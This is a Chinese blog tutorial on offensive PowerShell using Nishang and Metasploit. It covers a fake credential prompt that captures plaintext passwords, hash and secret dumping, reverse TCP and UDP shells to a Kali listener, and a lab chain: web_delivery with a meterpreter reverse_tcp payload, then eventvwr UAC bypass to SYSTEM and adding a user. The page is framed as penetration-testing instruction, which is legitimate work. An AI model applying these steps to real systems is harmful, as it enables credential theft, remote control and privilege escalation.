文章目录

(原创)Powershell And Metasploit(上)

由 ssnhy13 发布

00x01  #题外话

作者:(X_Al3r)

即刻安全:www.secist.com

十三年社团:www.klmyssn.com

一篇不知道该用什么名字的文章!

00x02  

#什么是Powershell

PowerShell一般指Windows Power Shell

Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的

活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,

才能被我们所利用,帮助我们进行渗透测试。

Powershell的各系统版本

1. indows 2008 R2 - Version 2

2. Windows 2012 - Version 3

3. Windows 2012 R2 - Version 4

4. Windows 2016 - Version 5

#Poswershell的优秀之处

1. 代码运行在内存中可以不去接触磁盘

2. 从另一个系统中下载代码并执行

3. 很多安全产品并不能监测到powershell的活动

4. cmd.exe通常被阻止运行,但是powershell不会。

00x03

#所需要准备的东西

1: Nishanghttps://github.com/samratashok/nishang(本文主要工具,其他不做使用介绍)、

用于逆向工程的PowerShell模块,可进行反汇编托管以及非托管的代码、进行.NET恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。

2:LinuxKaLi: https://www.kali.org

#导入Nishang脚本

1:启用Powershell

Win+R 启动Powershell

点击查看原图


2:加载Nishang脚本

命令:Import-Module .\nishang.psm1

点击查看原图



记住,要加上.\否则会报错例如这样

点击查看原图



00x04模块介绍

#信息搜集

0:Check-VM  它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:HVMWare,Virtual Box,)来识别。

点击查看原图



1Invoke-CredentialsPhish  这个脚本是用来欺骗用户输入账号密码信息的

点击查看原图


他会一直持续到你输入正确为止(无法关闭)直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码

点击查看原图


Useradmin:admin

PassWord:qwe123!@#

2: FireBuster FireListener  可以对内网进行扫描,它会把包发给FireListener

点击查看原图

脚本作者的Github上面还提供了一个Python版的监听端:

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

3:Get-Information 这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。

点击查看原图

点击查看原图

点击查看原图


还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用Out-File来将运行结果保存到指定文件.

Get-Information | Out-File D:\1.txt

4:Get-LSASecret 该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下

因为执行这个脚本需要32位的powershell(我的为64)就不做演示了

点击查看原图


5Get-PassHashes  这个脚本在Administrator的权限下,可以出密码哈希值

点击查看原图

可以使用-PSObjectFormat来格式化输出结果

点击查看原图


6Get-WLAN-Keys Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息

没有装wlan所以没有信息

7Invoke-MimikatzWdigestDowngrade Dump出Windows 8.1 and Server 2012的系统用户密码。

相信看到Mimikatz也就知道了   执行了Windows会锁屏

点击查看原图


8Get-PassHints   从一个目标得到Windows用户的密码提示   没有密码提示,就不演示了

以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍

喜欢提权的小伙伴,干货来了~~~

#反弹shell

0:Invoke-PowerShellTcp  互交式Powershell 反向TCP连接

首先我在Kali(标题带有kali怎么能不启用kali呢)上启用启用一个监听

点击查看原图

然后开始在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

点击查看原图

然后开始在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

点击查看原图


同样,windows也可以挂载一个监听使用powercat即可

Powercat项目地址:https://github.com/besimorhino/powercat

点击查看原图

同样在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

同样,毫无例外

点击查看原图


1:Invoke-PowerShellUdp 互交式Powershell 反向udp连接

同样我先在Kali上启用启用一个监听不过这次用的ncat


点击查看原图

点击查看原图


2powercat   这款工具的强大我相信也不用我多说了吧,他被称之为PowerShellnetcat之前也有说,我就不细细介绍了   

当然,反弹shell不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~  

00x04实战操作Powershell与Metasploit

1:win10_BypassUAC(win10提权)

1:攻击者ip192.168.1.103

2:攻击者系统:Linux Kali

3:被攻击者ip192.168.1.100

4:被攻击者系统:Win10

2:攻击流程

1:使用Metasploit中的web_delivery模块生成一个Powershell脚本

2:被攻击者系统执行Posershell脚本

3:msf接收一个会话

4:使用bypassuac模块提升权限

3:攻击开始

1:加载web_delivery模块

use exploit/multi/script/web_delivery

Show options查看所需要设置的信息

点击查看原图


设置target2

set target 2

加载一个Payload

set payload windows/meterpreter/reverse_tcp

设置LHOST

设置LPORT

开始攻击

Exploit

点击查看原图

然后我在物理机上执行下Metasploit给我的Powershell执行代码

点击查看原图

点击查看原图

Metasploit反弹得到一个meterpreter会话

点击查看原图

点击查看原图


加载BypassUac模块

use exploit/windows/local/bypassuac_eventvwr

Show options 查看所需配置


点击查看原图

Set session

设置你刚刚获得的meterpreter会话

Exploit 开始攻击

当然你需要换一下你的端口,否则会冲突

反弹得到一个会话

点击查看原图

得到system权限

点击查看原图

使用shell命令进入cmd 添加用户

点击查看原图

已经添加成功  如果直接添加是不可以的

点击查看原图

Powershell And Metasploit()结束

下会后续发布~~  如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~

UAC提权(来自我们demon表哥的视频)

http://oc78wb8cz.bkt.clouddn.com/win10_bypassUAC.mp4

                    本文搜集许多资料做的小结,有如雷同,请勿责怪~















4条评论

  1. 橡胶密封件
    橡胶密封件 · 2017-04-17 17:45
    不错的文章,内容言简意赅.禁止此消息:nolinkok@163.com
  2. 橡胶支座
    橡胶支座 · 2017-04-16 05:33
    不错的文章,内容酣畅淋漓.禁止此消息:nolinkok@163.com
  3. 果冻胶
    果冻胶 · 2017-04-11 22:55
    不错的文章,内容无懈可击.禁止此消息:nolinkok@163.com
  4. B年小表弟
    B年小表弟 · 2017-03-08 13:52
    大佬牛逼!

发表评论


验证码